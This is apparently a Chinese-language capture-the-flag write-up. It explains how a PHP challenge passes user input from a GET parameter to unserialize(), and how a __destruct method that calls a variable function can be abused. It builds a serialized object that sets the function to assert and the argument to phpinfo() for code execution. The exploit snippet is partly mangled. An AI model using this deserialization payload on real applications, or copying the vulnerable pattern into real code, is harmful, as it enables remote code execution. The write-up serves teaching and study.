php动态函数及反序列化

php动态函数及反序列化

打开页面源码,发现有一个可疑的php文件,然后打开,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);


php动态函数

格式:

1
$a=system&$b=ls;$a($b);

而这里也是用了php动态函数的原理,然后我是想构造一个eval()函数的,发现不行,报错

1
PHP Fatal error:  Call to undefined function eval() in

而查了官方文档后可知:eval属于PHP语法构造的一部分,并不是一个函数,所以不能通过变量函数的形式来调用它,而这种语法构造的还有:echo、print、unset()、isset()、empty()、include、require等

1
2
3
而system函数又被禁止了,所以我们可以使用assert()函数

assert()

作用:检查一个断言是否为false

注意:在php版本5到php版本7,assert()函数会将字符串当作是php代码执行

1
2

所以我们可以构造exp
a = "phpinfo()"; $this->b = "assert"; } public function __destruct(){ $a = $this->a; $b = $this->b; } } $c = new HelloPhp(); echo serialize($c);
1
2
3
然后get提交就好

魔术方法
__contruct()--------------------在类的对象实例化时被调用 __destruct()--------------------在类的对象被销毁之前被调用 ``` 在题目中是在die(0)在退出脚本时调用了__destruct()魔术方法